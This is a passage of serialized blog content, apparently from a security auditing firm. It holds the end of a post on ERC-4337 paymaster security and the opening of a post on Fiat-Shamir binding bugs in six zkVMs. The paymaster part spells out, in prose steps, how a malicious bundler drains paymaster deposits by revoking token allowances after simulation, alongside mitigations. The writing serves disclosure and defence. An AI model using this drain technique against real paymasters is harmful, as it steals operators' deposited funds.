",{"type":24,"tag":284,"props":114316,"children":114318},{"className":114317},[],[114319],{"type":29,"value":111166},{"type":29,"value":114321}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":175,"props":114323,"children":114324},{},[114325,114343,114362,114373,114378],{"type":24,"tag":179,"props":114326,"children":114327},{},[114328,114330,114335,114337],{"type":29,"value":114329},"The bundler creates a ",{"type":24,"tag":284,"props":114331,"children":114333},{"className":114332},[],[114334],{"type":29,"value":108909},{"type":29,"value":114336}," with an intentionally high ",{"type":24,"tag":284,"props":114338,"children":114340},{"className":114339},[],[114341],{"type":29,"value":114342},"gasPrice",{"type":24,"tag":179,"props":114344,"children":114345},{},[114346,114348,114353,114355,114360],{"type":29,"value":114347},"The bundler ensures the ",{"type":24,"tag":284,"props":114349,"children":114351},{"className":114350},[],[114352],{"type":29,"value":111166},{"type":29,"value":114354}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":284,"props":114356,"children":114358},{"className":114357},[],[114359],{"type":29,"value":111166},{"type":29,"value":114361}," executes",{"type":24,"tag":179,"props":114363,"children":114364},{},[114365,114366,114371],{"type":29,"value":70078},{"type":24,"tag":284,"props":114367,"children":114369},{"className":114368},[],[114370],{"type":29,"value":111166},{"type":29,"value":114372}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":179,"props":114374,"children":114375},{},[114376],{"type":29,"value":114377},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":179,"props":114379,"children":114380},{},[114381],{"type":29,"value":114382},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":114384,"children":114385},{},[114386,114388,114393,114395,114400],{"type":29,"value":114387},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":284,"props":114389,"children":114391},{"className":114390},[],[114392],{"type":29,"value":108938},{"type":29,"value":114394}," designed to fail during ",{"type":24,"tag":284,"props":114396,"children":114398},{"className":114397},[],[114399],{"type":29,"value":111166},{"type":29,"value":114401}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":114403,"children":114404},{},[114405,114407,114412,114414,114419,114421,114427,114429,114434],{"type":29,"value":114406},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":284,"props":114408,"children":114410},{"className":114409},[],[114411],{"type":29,"value":108909},{"type":29,"value":114413}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":284,"props":114415,"children":114417},{"className":114416},[],[114418],{"type":29,"value":108909},{"type":29,"value":114420}," is submitted via ",{"type":24,"tag":284,"props":114422,"children":114424},{"className":114423},[],[114425],{"type":29,"value":114426},"handleOps",{"type":29,"value":114428},". This means the ",{"type":24,"tag":284,"props":114430,"children":114432},{"className":114431},[],[114433],{"type":29,"value":111166},{"type":29,"value":114435}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":114437,"children":114438},{},[114439],{"type":29,"value":114440},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":114442,"children":114443},{},[114444],{"type":29,"value":114445},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":114447,"children":114448},{},[114449],{"type":29,"value":114450},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":42085,"props":114452,"children":114453},{"id":10412},[114454],{"type":29,"value":226},{"type":24,"tag":25,"props":114456,"children":114457},{},[114458],{"type":29,"value":114459},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":175,"props":114461,"children":114462},{},[114463,114468,114473,114478,114483],{"type":24,"tag":179,"props":114464,"children":114465},{},[114466],{"type":29,"value":114467},"Always collect full payment during validation, not after execution",{"type":24,"tag":179,"props":114469,"children":114470},{},[114471],{"type":29,"value":114472},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":179,"props":114474,"children":114475},{},[114476],{"type":29,"value":114477},"Carefully validate all user inputs and token transfers",{"type":24,"tag":179,"props":114479,"children":114480},{},[114481],{"type":29,"value":114482},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":179,"props":114484,"children":114485},{},[114486,114488,114493],{"type":29,"value":114487},"Always review changes in new ",{"type":24,"tag":284,"props":114489,"children":114491},{"className":114490},[],[114492],{"type":29,"value":108990},{"type":29,"value":114494}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":114496,"children":114497},{},[114498,114500,114505,114507,114512,114514,114519],{"type":29,"value":114499},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":284,"props":114501,"children":114503},{"className":114502},[],[114504],{"type":29,"value":108990},{"type":29,"value":114506}," contract's behavior could potentially break existing ",{"type":24,"tag":284,"props":114508,"children":114510},{"className":114509},[],[114511],{"type":29,"value":109062},{"type":29,"value":114513}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":284,"props":114515,"children":114517},{"className":114516},[],[114518],{"type":29,"value":108990},{"type":29,"value":114520}," versions.",{"type":24,"tag":25,"props":114522,"children":114523},{},[114524],{"type":29,"value":114525},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":114527,"children":114528},{},[114529],{"type":29,"value":114530},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":10448,"props":114532,"children":114533},{},[114534],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":114536},[114537,114538,114539,114546,114551,114552],{"id":108824,"depth":367,"text":108827},{"id":108840,"depth":367,"text":108843},{"id":108879,"depth":367,"text":108882,"children":114540},[114541,114542,114543,114544,114545],{"id":108902,"depth":408,"text":108909},{"id":108943,"depth":408,"text":108946},{"id":108969,"depth":408,"text":108972},{"id":22250,"depth":408,"text":108990},{"id":109062,"depth":408,"text":109073},{"id":109125,"depth":367,"text":114547,"children":114548},"Understanding the EntryPoint's Flow",[114549,114550],{"id":109181,"depth":408,"text":109184},{"id":109366,"depth":408,"text":109369},{"id":109609,"depth":367,"text":109615},{"id":111209,"depth":367,"text":111215,"children":114553},[114554,114555],{"id":111269,"depth":408,"text":111272},{"id":111329,"depth":408,"text":111332},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":114560,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":114561,"description":114562,"date":114563,"author":114564,"image":114567,"isFeatured":16,"onBlogPage":16,"tags":114569,"body":114571,"_type":10481,"_id":130376,"_source":10483,"_file":130377,"_stem":130378,"_extension":10486},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[114565,114566],"himanshu","valter",{"src":114568,"width":103995,"height":14},"/posts/zkvms-unfaithful-claims/title.png",[114570],"zkVM",{"type":21,"children":114572,"toc":130340},[114573,114578,114620,114633,114636,114642,114647,114775,114778,114784,114790,114795,114827,114975,114980,115103,115114,115125,115148,115159,115164,115197,115205,115210,115213,115219,115224,115230,115235,115240,115248,115266,115407,115412,115418,115511,116245,116313,116324,116332,116806,116812,117251,117591,117744,117749,118637,118793,118799,118891,118896,119481,119931,120007,120013,120018,120087,120097,120113,120123,120184,120603,120635,120645,120820,120825,120835,121435,121623,121641,121644,121650,121655,121663,121695,122057,122062,122147,122150,122156,122164,122169,122172,122178,122183,122191,122199,122207,122215,122248,122256,122264,122355,122606,122933,122941,122971,123141,123467,123472,123477,123494,123497,123502,123507,123519,123531,124122,124134,124146,124153,124161,124173,124181,124196,124201,124481,124500,124595,124614,124630,124633,124639,124644,124649,124656,124664,124671,124679,124692,124710,125170,125272,125277,125282,125298,125301,125307,125312,125324,125335,125340,125730,125737,125745,125770,125790,126046,126057,126076,126460,126806,127036,127195,127355,127923,127928,127954,127957,127963,127968,127975,127983,127996,128068,128079,128087,128097,128105,128116,128390,128479,128508,128511,128516,128650,128662,128669,128674,128827,128853,128860,128868,128873,128939,128944,129334,129421,129437,129440,129446,129451,129457,129557,129616,129621,129627,129632,129640,129645,129651,129656,129661,129667,129672,129675,129681,129687,129692,129697,129702,129707,129712,129715,129721,129884,129889,129892,129897,129908,130225,130230,130254,130259,130277,130282,130285,130291,130296,130301,130311,130316,130326,130336],{"type":24,"tag":25,"props":114574,"children":114575},{},[114576],{"type":29,"value":114577},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":114579,"children":114580},{},[114581,114583,114588,114589,114594,114595,114600,114601,114606,114607,114612,114613,114618],{"type":29,"value":114582},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":188,"props":114584,"children":114585},{},[114586],{"type":29,"value":114587},"Jolt",{"type":29,"value":2744},{"type":24,"tag":188,"props":114590,"children":114591},{},[114592],{"type":29,"value":114593},"Nexus",{"type":29,"value":2744},{"type":24,"tag":188,"props":114596,"children":114597},{},[114598],{"type":29,"value":114599},"Cairo-M",{"type":29,"value":2744},{"type":24,"tag":188,"props":114602,"children":114603},{},[114604],{"type":29,"value":114605},"Ceno",{"type":29,"value":2744},{"type":24,"tag":188,"props":114608,"children":114609},{},[114610],{"type":29,"value":114611},"Expander",{"type":29,"value":14054},{"type":24,"tag":188,"props":114614,"children":114615},{},[114616],{"type":29,"value":114617},"Binius64",{"type":29,"value":114619},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":114621,"children":114622},{},[114623,114625,114631],{"type":29,"value":114624},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":57,"props":114626,"children":114628},{"href":114627},"#challenges",[114629],{"type":29,"value":114630},"Challenges",{"type":29,"value":114632}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":68,"props":114634,"children":114635},{},[],{"type":24,"tag":228,"props":114637,"children":114639},{"id":114638},"jargon-cheat-sheet",[114640],{"type":29,"value":114641},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":114643,"children":114644},{},[114645],{"type":29,"value":114646},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":1380,"props":114648,"children":114649},{},[114650,114660,114670,114680,114690,114700,114710,114720,114730,114740,114750,114760],{"type":24,"tag":179,"props":114651,"children":114652},{},[114653,114658],{"type":24,"tag":188,"props":114654,"children":114655},{},[114656],{"type":29,"value":114657},"Fiat-Shamir",{"type":29,"value":114659},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":179,"props":114661,"children":114662},{},[114663,114668],{"type":24,"tag":188,"props":114664,"children":114665},{},[114666],{"type":29,"value":114667},"Transcript",{"type":29,"value":114669},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":179,"props":114671,"children":114672},{},[114673,114678],{"type":24,"tag":188,"props":114674,"children":114675},{},[114676],{"type":29,"value":114677},"Polynomial Commitment",{"type":29,"value":114679},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":179,"props":114681,"children":114682},{},[114683,114688],{"type":24,"tag":188,"props":114684,"children":114685},{},[114686],{"type":29,"value":114687},"Sumcheck",{"type":29,"value":114689},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":179,"props":114691,"children":114692},{},[114693,114698],{"type":24,"tag":188,"props":114694,"children":114695},{},[114696],{"type":29,"value":114697},"MLE (Multilinear Extension)",{"type":29,"value":114699},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":179,"props":114701,"children":114702},{},[114703,114708],{"type":24,"tag":188,"props":114704,"children":114705},{},[114706],{"type":29,"value":114707},"Lookup / LogUp",{"type":29,"value":114709},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":179,"props":114711,"children":114712},{},[114713,114718],{"type":24,"tag":188,"props":114714,"children":114715},{},[114716],{"type":29,"value":114717},"AIR",{"type":29,"value":114719},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":179,"props":114721,"children":114722},{},[114723,114728],{"type":24,"tag":188,"props":114724,"children":114725},{},[114726],{"type":29,"value":114727},"STARK",{"type":29,"value":114729},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":179,"props":114731,"children":114732},{},[114733,114738],{"type":24,"tag":188,"props":114734,"children":114735},{},[114736],{"type":29,"value":114737},"FRI",{"type":29,"value":114739},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":179,"props":114741,"children":114742},{},[114743,114748],{"type":24,"tag":188,"props":114744,"children":114745},{},[114746],{"type":29,"value":114747},"OODS",{"type":29,"value":114749},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":179,"props":114751,"children":114752},{},[114753,114758],{"type":24,"tag":188,"props":114754,"children":114755},{},[114756],{"type":29,"value":114757},"GKR",{"type":29,"value":114759},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":179,"props":114761,"children":114762},{},[114763,114768,114770],{"type":24,"tag":188,"props":114764,"children":114765},{},[114766],{"type":29,"value":114767},"claimed_sum / opening_claim",{"type":29,"value":114769},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":188,"props":114771,"children":114772},{},[114773],{"type":29,"value":114774},"These are the usual suspects for binding bugs.",{"type":24,"tag":68,"props":114776,"children":114777},{},[],{"type":24,"tag":228,"props":114779,"children":114781},{"id":114780},"what-are-we-even-breaking",[114782],{"type":29,"value":114783},"What Are We Even Breaking?",{"type":24,"tag":235,"props":114785,"children":114787},{"id":114786},"what-is-a-zkvm",[114788],{"type":29,"value":114789},"What is a zkVM?",{"type":24,"tag":25,"props":114791,"children":114792},{},[114793],{"type":29,"value":114794},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":114796,"children":114797},{},[114798,114800,114825],{"type":29,"value":114799},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":284,"props":114801,"children":114803},{"className":114802},[2949,2950],[114804],{"type":24,"tag":327,"props":114805,"children":114807},{"className":114806},[2955],[114808],{"type":24,"tag":327,"props":114809,"children":114811},{"className":114810,"ariaHidden":2961},[2960],[114812],{"type":24,"tag":327,"props":114813,"children":114815},{"className":114814},[2966],[114816,114820],{"type":24,"tag":327,"props":114817,"children":114819},{"className":114818,"style":2972},[2971],[],{"type":24,"tag":327,"props":114821,"children":114823},{"className":114822,"style":2979},[2977,2978],[114824],{"type":29,"value":13555},{"type":29,"value":114826}," such that:",{"type":24,"tag":25,"props":114828,"children":114829},{},[114830],{"type":24,"tag":284,"props":114831,"children":114833},{"className":114832},[2949,2950],[114834],{"type":24,"tag":327,"props":114835,"children":114837},{"className":114836},[2955],[114838],{"type":24,"tag":327,"props":114839,"children":114841},{"className":114840,"ariaHidden":2961},[2960],[114842,114886,114961],{"type":24,"tag":327,"props":114843,"children":114845},{"className":114844},[2966],[114846,114850,114856,114860,114865,114869,114873,114878,114882],{"type":24,"tag":327,"props":114847,"children":114849},{"className":114848,"style":99689},[2971],[],{"type":24,"tag":327,"props":114851,"children":114853},{"className":114852},[2977],[114854],{"type":29,"value":114855},"∃",{"type":24,"tag":327,"props":114857,"children":114859},{"className":114858,"style":2993},[2992],[],{"type":24,"tag":327,"props":114861,"children":114863},{"className":114862,"style":2979},[2977,2978],[114864],{"type":29,"value":13555},{"type":24,"tag":327,"props":114866,"children":114868},{"className":114867,"style":2993},[2992],[],{"type":24,"tag":327,"props":114870,"children":114872},{"className":114871,"style":2993},[2992],[],{"type":24,"tag":327,"props":114874,"children":114876},{"className":114875},[2998],[114877],{"type":29,"value":1636},{"type":24,"tag":327,"props":114879,"children":114881},{"className":114880,"style":2993},[2992],[],{"type":24,"tag":327,"props":114883,"children":114885},{"className":114884,"style":2993},[2992],[],{"type":24,"tag":327,"props":114887,"children":114889},{"className":114888},[2966],[114890,114894,114905,114910,114915,114920,114924,114929,114934,114938,114943,114948,114952,114957],{"type":24,"tag":327,"props":114891,"children":114893},{"className":114892,"style":3685},[2971],[],{"type":24,"tag":327,"props":114895,"children":114897},{"className":114896},[2977],[114898],{"type":24,"tag":327,"props":114899,"children":114902},{"className":114900},[2977,114901],"mathsf",[114903],{"type":29,"value":114904},"VM",{"type":24,"tag":327,"props":114906,"children":114908},{"className":114907},[3121],[114909],{"type":29,"value":349},{"type":24,"tag":327,"props":114911,"children":114913},{"className":114912,"style":2979},[2977,2978],[114914],{"type":29,"value":2982},{"type":24,"tag":327,"props":114916,"children":114918},{"className":114917},[11695],[114919],{"type":29,"value":11698},{"type":24,"tag":327,"props":114921,"children":114923},{"className":114922,"style":3169},[2992],[],{"type":24,"tag":327,"props":114925,"children":114927},{"className":114926,"style":101794},[2977,2978],[114928],{"type":29,"value":13700},{"type":24,"tag":327,"props":114930,"children":114932},{"className":114931},[11695],[114933],{"type":29,"value":11698},{"type":24,"tag":327,"props":114935,"children":114937},{"className":114936,"style":3169},[2992],[],{"type":24,"tag":327,"props":114939,"children":114941},{"className":114940,"style":2979},[2977,2978],[114942],{"type":29,"value":13555},{"type":24,"tag":327,"props":114944,"children":114946},{"className":114945},[3143],[114947],{"type":29,"value":3146},{"type":24,"tag":327,"props":114949,"children":114951},{"className":114950,"style":2993},[2992],[],{"type":24,"tag":327,"props":114953,"children":114955},{"className":114954},[2998],[114956],{"type":29,"value":3745},{"type":24,"tag":327,"props":114958,"children":114960},{"className":114959,"style":2993},[2992],[],{"type":24,"tag":327,"props":114962,"children":114964},{"className":114963},[2966],[114965,114969],{"type":24,"tag":327,"props":114966,"children":114968},{"className":114967,"style":2972},[2971],[],{"type":24,"tag":327,"props":114970,"children":114973},{"className":114971,"style":114972},[2977,2978],"margin-right:0.22222em;",[114974],{"type":29,"value":13729},{"type":24,"tag":25,"props":114976,"children":114977},{},[114978],{"type":29,"value":114979},"where:",{"type":24,"tag":1380,"props":114981,"children":114982},{},[114983,115013,115043,115073],{"type":24,"tag":179,"props":114984,"children":114985},{},[114986,115011],{"type":24,"tag":284,"props":114987,"children":114989},{"className":114988},[2949,2950],[114990],{"type":24,"tag":327,"props":114991,"children":114993},{"className":114992},[2955],[114994],{"type":24,"tag":327,"props":114995,"children":114997},{"className":114996,"ariaHidden":2961},[2960],[114998],{"type":24,"tag":327,"props":114999,"children":115001},{"className":115000},[2966],[115002,115006],{"type":24,"tag":327,"props":115003,"children":115005},{"className":115004,"style":2972},[2971],[],{"type":24,"tag":327,"props":115007,"children":115009},{"className":115008,"style":2979},[2977,2978],[115010],{"type":29,"value":2982},{"type":29,"value":115012}," = program/circuit description (public)",{"type":24,"tag":179,"props":115014,"children":115015},{},[115016,115041],{"type":24,"tag":284,"props":115017,"children":115019},{"className":115018},[2949,2950],[115020],{"type":24,"tag":327,"props":115021,"children":115023},{"className":115022},[2955],[115024],{"type":24,"tag":327,"props":115025,"children":115027},{"className":115026,"ariaHidden":2961},[2960],[115028],{"type":24,"tag":327,"props":115029,"children":115031},{"className":115030},[2966],[115032,115036],{"type":24,"tag":327,"props":115033,"children":115035},{"className":115034,"style":2972},[2971],[],{"type":24,"tag":327,"props":115037,"children":115039},{"className":115038,"style":101794},[2977,2978],[115040],{"type":29,"value":13700},{"type":29,"value":115042}," = public input",{"type":24,"tag":179,"props":115044,"children":115045},{},[115046,115071],{"type":24,"tag":284,"props":115047,"children":115049},{"className":115048},[2949,2950],[115050],{"type":24,"tag":327,"props":115051,"children":115053},{"className":115052},[2955],[115054],{"type":24,"tag":327,"props":115055,"children":115057},{"className":115056,"ariaHidden":2961},[2960],[115058],{"type":24,"tag":327,"props":115059,"children":115061},{"className":115060},[2966],[115062,115066],{"type":24,"tag":327,"props":115063,"children":115065},{"className":115064,"style":2972},[2971],[],{"type":24,"tag":327,"props":115067,"children":115069},{"className":115068,"style":114972},[2977,2978],[115070],{"type":29,"value":13729},{"type":29,"value":115072}," = claimed public output",{"type":24,"tag":179,"props":115074,"children":115075},{},[115076,115101],{"type":24,"tag":284,"props":115077,"children":115079},{"className":115078},[2949,2950],[115080],{"type":24,"tag":327,"props":115081,"children":115083},{"className":115082},[2955],[115084],{"type":24,"tag":327,"props":115085,"children":115087},{"className":115086,"ariaHidden":2961},[2960],[115088],{"type":24,"tag":327,"props":115089,"children":115091},{"className":115090},[2966],[115092,115096],{"type":24,"tag":327,"props":115093,"children":115095},{"className":115094,"style":2972},[2971],[],{"type":24,"tag":327,"props":115097,"children":115099},{"className":115098,"style":2979},[2977,2978],[115100],{"type":29,"value":13555},{"type":29,"value":115102}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":115104,"children":115105},{},[115106,115108,115112],{"type":29,"value":115107},"The verifier does ",{"type":24,"tag":188,"props":115109,"children":115110},{},[115111],{"type":29,"value":25999},{"type":29,"value":115113}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":115115,"children":115116},{},[115117,115119,115124],{"type":29,"value":115118},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":188,"props":115120,"children":115121},{},[115122],{"type":29,"value":115123},"soundness",{"type":29,"value":1636},{"type":24,"tag":1380,"props":115126,"children":115127},{},[115128,115138],{"type":24,"tag":179,"props":115129,"children":115130},{},[115131,115136],{"type":24,"tag":188,"props":115132,"children":115133},{},[115134],{"type":29,"value":115135},"Completeness",{"type":29,"value":115137},": honest execution verifies.",{"type":24,"tag":179,"props":115139,"children":115140},{},[115141,115146],{"type":24,"tag":188,"props":115142,"children":115143},{},[115144],{"type":29,"value":115145},"Soundness",{"type":29,"value":115147},": false execution should not verify.",{"type":24,"tag":25,"props":115149,"children":115150},{},[115151,115153,115157],{"type":29,"value":115152},"We are breaking ",{"type":24,"tag":188,"props":115154,"children":115155},{},[115156],{"type":29,"value":115123},{"type":29,"value":115158}," in all six systems.",{"type":24,"tag":25,"props":115160,"children":115161},{},[115162],{"type":29,"value":115163},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":175,"props":115165,"children":115166},{},[115167,115172,115177,115182,115187,115192],{"type":24,"tag":179,"props":115168,"children":115169},{},[115170],{"type":29,"value":115171},"Fix public statement data.",{"type":24,"tag":179,"props":115173,"children":115174},{},[115175],{"type":29,"value":115176},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":179,"props":115178,"children":115179},{},[115180],{"type":29,"value":115181},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":179,"props":115183,"children":115184},{},[115185],{"type":29,"value":115186},"Check constraint equations at sampled points.",{"type":24,"tag":179,"props":115188,"children":115189},{},[115190],{"type":29,"value":115191},"Check PCS/opening consistency.",{"type":24,"tag":179,"props":115193,"children":115194},{},[115195],{"type":29,"value":115196},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":115198,"children":115199},{},[115200],{"type":24,"tag":11511,"props":115201,"children":115204},{"alt":115202,"src":115203},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":115206,"children":115207},{},[115208],{"type":29,"value":115209},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":68,"props":115211,"children":115212},{},[],{"type":24,"tag":228,"props":115214,"children":115216},{"id":115215},"the-building-blocks",[115217],{"type":29,"value":115218},"The Building Blocks",{"type":24,"tag":25,"props":115220,"children":115221},{},[115222],{"type":29,"value":115223},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":235,"props":115225,"children":115227},{"id":115226},"the-fiat-shamir-transform",[115228],{"type":29,"value":115229},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":115231,"children":115232},{},[115233],{"type":29,"value":115234},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":115236,"children":115237},{},[115238],{"type":29,"value":115239},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":115241,"children":115242},{},[115243],{"type":24,"tag":11511,"props":115244,"children":115247},{"alt":115245,"src":115246},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":115249,"children":115250},{},[115251,115253,115257,115259,115264],{"type":29,"value":115252},"The hash (transcript) ",{"type":24,"tag":188,"props":115254,"children":115255},{},[115256],{"type":29,"value":14086},{"type":29,"value":115258}," include everything that affects verification ",{"type":24,"tag":188,"props":115260,"children":115261},{},[115262],{"type":29,"value":115263},"BEFORE",{"type":29,"value":115265}," the challenges derived from it are used.",{"type":24,"tag":25,"props":115267,"children":115268},{},[115269,115271,115297,115299,115324,115326,115351,115353,115378,115380,115405],{"type":29,"value":115270},"If some value ",{"type":24,"tag":284,"props":115272,"children":115274},{"className":115273},[2949,2950],[115275],{"type":24,"tag":327,"props":115276,"children":115278},{"className":115277},[2955],[115279],{"type":24,"tag":327,"props":115280,"children":115282},{"className":115281,"ariaHidden":2961},[2960],[115283],{"type":24,"tag":327,"props":115284,"children":115286},{"className":115285},[2966],[115287,115291],{"type":24,"tag":327,"props":115288,"children":115290},{"className":115289,"style":2972},[2971],[],{"type":24,"tag":327,"props":115292,"children":115294},{"className":115293,"style":114972},[2977,2978],[115295],{"type":29,"value":115296},"V",{"type":29,"value":115298}," affects a verification equation, but ",{"type":24,"tag":284,"props":115300,"children":115302},{"className":115301},[2949,2950],[115303],{"type":24,"tag":327,"props":115304,"children":115306},{"className":115305},[2955],[115307],{"type":24,"tag":327,"props":115308,"children":115310},{"className":115309,"ariaHidden":2961},[2960],[115311],{"type":24,"tag":327,"props":115312,"children":115314},{"className":115313},[2966],[115315,115319],{"type":24,"tag":327,"props":115316,"children":115318},{"className":115317,"style":2972},[2971],[],{"type":24,"tag":327,"props":115320,"children":115322},{"className":115321,"style":114972},[2977,2978],[115323],{"type":29,"value":115296},{"type":29,"value":115325}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":284,"props":115327,"children":115329},{"className":115328},[2949,2950],[115330],{"type":24,"tag":327,"props":115331,"children":115333},{"className":115332},[2955],[115334],{"type":24,"tag":327,"props":115335,"children":115337},{"className":115336,"ariaHidden":2961},[2960],[115338],{"type":24,"tag":327,"props":115339,"children":115341},{"className":115340},[2966],[115342,115346],{"type":24,"tag":327,"props":115343,"children":115345},{"className":115344,"style":2972},[2971],[],{"type":24,"tag":327,"props":115347,"children":115349},{"className":115348,"style":114972},[2977,2978],[115350],{"type":29,"value":115296},{"type":29,"value":115352},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":284,"props":115354,"children":115356},{"className":115355},[2949,2950],[115357],{"type":24,"tag":327,"props":115358,"children":115360},{"className":115359},[2955],[115361],{"type":24,"tag":327,"props":115362,"children":115364},{"className":115363,"ariaHidden":2961},[2960],[115365],{"type":24,"tag":327,"props":115366,"children":115368},{"className":115367},[2966],[115369,115373],{"type":24,"tag":327,"props":115370,"children":115372},{"className":115371,"style":2972},[2971],[],{"type":24,"tag":327,"props":115374,"children":115376},{"className":115375,"style":114972},[2977,2978],[115377],{"type":29,"value":115296},{"type":29,"value":115379},", which may allow it to choose 